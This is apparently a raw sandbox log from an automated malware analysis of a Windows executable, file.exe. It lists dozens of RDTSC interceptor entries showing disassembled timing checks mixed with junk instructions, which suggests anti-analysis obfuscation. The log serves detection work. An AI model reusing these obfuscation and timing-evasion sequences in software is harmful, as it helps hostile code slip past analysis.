Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C55D second address: F5C56E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2AD900F59Ch 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C56E second address: F5C57B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C57B second address: F5C591 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD900F5A0h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C6BE second address: F5C6C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C996 second address: F5C99E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CAEF second address: F5CAF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CC5A second address: F5CC62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CC62 second address: F5CC68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5CC68 second address: F5CC6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED996E second address: ED9974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21829 second address: EFE8F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov dword ptr [esp], eax 0x00000008 movzx edx, si 0x0000000b call dword ptr [ebp+122D1C15h] 0x00000011 je 00007F2AD900F5D3h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F2AD900F5A7h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F218DF second address: F218E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F2AD9523876h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21A14 second address: F21A1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21A1E second address: F21A22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21C04 second address: F21C09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21C09 second address: D618AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD9523881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F2AD9523881h 0x0000000f nop 0x00000010 mov dx, 32F6h 0x00000014 push dword ptr [ebp+122D0E69h] 0x0000001a add di, 03C3h 0x0000001f call dword ptr [ebp+122D37E6h] 0x00000025 pushad 0x00000026 pushad 0x00000027 sub eax, dword ptr [ebp+122D29D0h] 0x0000002d pushad 0x0000002e push edi 0x0000002f pop ebx 0x00000030 popad 0x00000031 popad 0x00000032 xor eax, eax 0x00000034 jmp 00007F2AD952387Ah 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d pushad 0x0000003e add dword ptr [ebp+122D3560h], ecx 0x00000044 popad 0x00000045 mov dword ptr [ebp+122D290Ch], eax 0x0000004b stc 0x0000004c mov esi, 0000003Ch 0x00000051 pushad 0x00000052 add ax, 3242h 0x00000057 mov ebx, dword ptr [ebp+122D2BA8h] 0x0000005d popad 0x0000005e add esi, dword ptr [esp+24h] 0x00000062 jmp 00007F2AD952387Ch 0x00000067 lodsw 0x00000069 xor dword ptr [ebp+122D3560h], ecx 0x0000006f add eax, dword ptr [esp+24h] 0x00000073 stc 0x00000074 mov ebx, dword ptr [esp+24h] 0x00000078 pushad 0x00000079 mov dword ptr [ebp+122D2F16h], ebx 0x0000007f mov eax, dword ptr [ebp+122D2C18h] 0x00000085 popad 0x00000086 nop 0x00000087 push eax 0x00000088 push edx 0x00000089 jmp 00007F2AD9523888h 0x0000008e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21DA4 second address: F21E45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD900F5A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a xor dword ptr [esp], 29615FE1h 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F2AD900F598h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b mov ecx, 46244F3Eh 0x00000030 sub dword ptr [ebp+122D25D5h], eax 0x00000036 call 00007F2AD900F599h 0x0000003b jo 00007F2AD900F5ACh 0x00000041 push eax 0x00000042 push edi 0x00000043 push eax 0x00000044 jmp 00007F2AD900F59Ch 0x00000049 pop eax 0x0000004a pop edi 0x0000004b mov eax, dword ptr [esp+04h] 0x0000004f jp 00007F2AD900F5ACh 0x00000055 mov eax, dword ptr [eax] 0x00000057 pushad 0x00000058 push ecx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21E45 second address: F21E63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F2AD9523887h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21E63 second address: F21E67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21E67 second address: F21E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21F46 second address: F21F4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21F4A second address: F21F54 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2AD9523876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21F54 second address: F21F5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F2AD900F596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21F5E second address: F21F75 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F2AD952387Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22237 second address: F22290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F2AD900F598h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 push 00000004h 0x00000025 jnp 00007F2AD900F597h 0x0000002b nop 0x0000002c jmp 00007F2AD900F5A6h 0x00000031 push eax 0x00000032 je 00007F2AD900F5A0h 0x00000038 push eax 0x00000039 push edx 0x0000003a push esi 0x0000003b pop esi 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2262F second address: F22635 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22787 second address: F2278B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F228F3 second address: F2294C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD952387Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F2AD9523887h 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007F2AD952387Ch 0x00000018 mov eax, dword ptr [eax] 0x0000001a jne 00007F2AD9523888h 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 pushad 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22A08 second address: F22A0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22A0C second address: F22A10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22A10 second address: F22A34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov edx, 2D66F8C2h 0x0000000c lea eax, dword ptr [ebp+12493578h] 0x00000012 mov ecx, 593D9E86h 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jng 00007F2AD900F596h 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22A34 second address: F22A3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F2AD9523876h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22A3F second address: F22A91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a sub edx, 4A5D2F18h 0x00000010 lea eax, dword ptr [ebp+12493534h] 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007F2AD900F598h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 jnp 00007F2AD900F5A7h 0x00000036 nop 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a push edi 0x0000003b pop edi 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22A91 second address: F22AAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F2AD9523884h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22AAD second address: F22AB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22AB1 second address: F22AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22AC0 second address: F22AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22AC5 second address: F22ACA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22ACA second address: F22AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F22AD0 second address: EFF4D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 movzx ecx, ax 0x0000000b call dword ptr [ebp+122D1A6Bh] 0x00000011 jmp 00007F2AD9523888h 0x00000016 je 00007F2AD952388Eh 0x0000001c jc 00007F2AD952387Eh 0x00000022 push eax 0x00000023 pop eax 0x00000024 jp 00007F2AD9523876h 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6102B second address: F61069 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 jne 00007F2AD900F596h 0x0000000b pop edi 0x0000000c jng 00007F2AD900F5ACh 0x00000012 jmp 00007F2AD900F59Bh 0x00000017 jmp 00007F2AD900F59Bh 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jns 00007F2AD900F5A2h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61069 second address: F6106E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61827 second address: F6182D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6182D second address: F61831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61831 second address: F61835 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F619BE second address: F619C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65935 second address: F6593B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6593B second address: F65941 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65941 second address: F6594C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68A82 second address: F68A86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68A86 second address: F68A8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68614 second address: F6862D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 pushad 0x00000007 jnl 00007F2AD952387Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6862D second address: F68631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68768 second address: F68772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F2AD9523876h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68772 second address: F6877C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6877C second address: F6878E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD952387Bh 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6878E second address: F68794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68794 second address: F687A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F687A4 second address: F687BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2AD900F59Bh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F687BC second address: F687C2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6ADBA second address: F6ADBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6EA18 second address: F6EA32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007F2AD9523882h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6EA32 second address: F6EA3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6EA3D second address: F6EA64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD9523880h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F2AD952387Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6E178 second address: F6E184 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2FFF second address: ED3009 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F2AD9523876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F72F75 second address: F72F7F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2AD900F596h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F72F7F second address: F72F93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F2AD9523876h 0x0000000e js 00007F2AD9523876h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7353B second address: F73574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F2AD900F5B3h 0x0000000a jmp 00007F2AD900F59Ch 0x0000000f jmp 00007F2AD900F5A1h 0x00000014 push edx 0x00000015 jl 00007F2AD900F59Eh 0x0000001b push esi 0x0000001c pop esi 0x0000001d jnc 00007F2AD900F596h 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2249A second address: F22504 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2AD952387Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D3203h], esi 0x00000011 mov ebx, dword ptr [ebp+12493573h] 0x00000017 mov dword ptr [ebp+122D3333h], ecx 0x0000001d add eax, ebx 0x0000001f mov dx, B3DCh 0x00000023 or ecx, 64A31199h 0x00000029 push eax 0x0000002a jbe 00007F2AD9523880h 0x00000030 pushad 0x00000031 push edx 0x00000032 pop edx 0x00000033 je 00007F2AD9523876h 0x00000039 popad 0x0000003a mov dword ptr [esp], eax 0x0000003d xor dh, 00000022h 0x00000040 push 00000004h 0x00000042 jmp 00007F2AD9523885h 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F2AD952387Ah 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73881 second address: F73891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F2AD900F596h 0x0000000c popad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73891 second address: F73897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73897 second address: F738AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F2AD900F59Ah 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F738AD second address: F738C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD9523886h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F738C7 second address: F738E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD900F5A0h 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F2AD900F596h 0x0000000f jc 00007F2AD900F596h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F738E7 second address: F738ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F74431 second address: F74435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77B3F second address: F77B49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F2AD9523876h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77B49 second address: F77B5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007F2AD900F59Eh 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F80892 second address: F8089C instructions: 0x00000000 rdtsc 0x00000002 je 00007F2AD9523876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7F521 second address: F7F528 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7FFF5 second address: F80024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F2AD9523881h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e jo 00007F2AD9523878h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pushad 0x00000017 push eax 0x00000018 pop eax 0x00000019 jng 00007F2AD9523876h 0x0000001f pushad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F80592 second address: F805B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2AD900F59Fh 0x00000009 jmp 00007F2AD900F5A2h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84695 second address: F8469F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F2AD9523876h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84AF2 second address: F84AFE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84AFE second address: F84B02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
